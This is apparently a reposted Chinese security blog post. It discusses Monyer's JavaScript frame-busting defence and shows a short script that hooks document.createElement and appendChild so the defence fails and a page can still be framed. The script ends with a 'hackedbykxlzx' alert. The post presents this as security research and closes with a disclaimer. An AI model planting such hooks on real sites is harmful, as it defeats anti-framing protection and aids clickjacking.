作者:空虚浪子心
看了Monyer的文章:
《iframe的防插与强插(二)》
http://hi.baidu.com/monyer/blog/item/108c718d9aedcf15b21bba56.html
代码如下:
<script> window.onload = function(){ if(top!=self){ var f = document.createElement("form"); f.action=location; f.target="_parent"; document.body.appendChild(f); f.submit(); } }; </script>
强制提交,我仔细看了这篇文章,后来实践了下,发现两个onload会后面的覆盖前面的onload。
并且防御代码中在操作”body”。
所以这段代码一定是应用于页面最下面。
再看了看之前的
《iframe的防插与强插》
http://hi.baidu.com/monyer/blog/item/1551b68f453f78e9f11f3667.html
发现攻击者至少可以控制一段JS,所以才可以“强插”。
最后Monyer给出了一个方案。
不过仔细看看,还是有很大问题的。
昨晚在YY,JS里有个SLEEP这个函数,让后面的代码等上“半年”才执行,那他的方案就失效了。
于是测试,居然成功后。
早上和大家聊这个事情,被狠狠的打击了下,原来JS根本没这个函数。。。那后面的的确没执行了(JS出错)。囧。。。
经过仔细研究,终于想到了破解的方法。HOOK。。。
看代码,我把monyer的代码放进去,然后不让他执行顺利。
<head> </head> <body> 呵呵。。。 </body> <script> document.createElement = function(test) { var f = new Object(); f.action=location; f.target="_parent"; f.submit = function (){}; return f; } document.body.appendChild = function(test){} window.onload = function(){alert(1);} //----------------------------下面是Monyer的方法。原样copy。 window.onload = function(){ if(top!=self){ var f = document.createElement("form"); f.action=location; f.target="_parent"; document.body.appendChild(f); f.submit(); } }; //广告时间http://www.inbreak.net alert('hackedbykxlzx'); </script>
做一个类,HOOK掉这个方法里所有用掉的东西。。。嘿嘿。。。同时保证后面的JS正确执行。
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论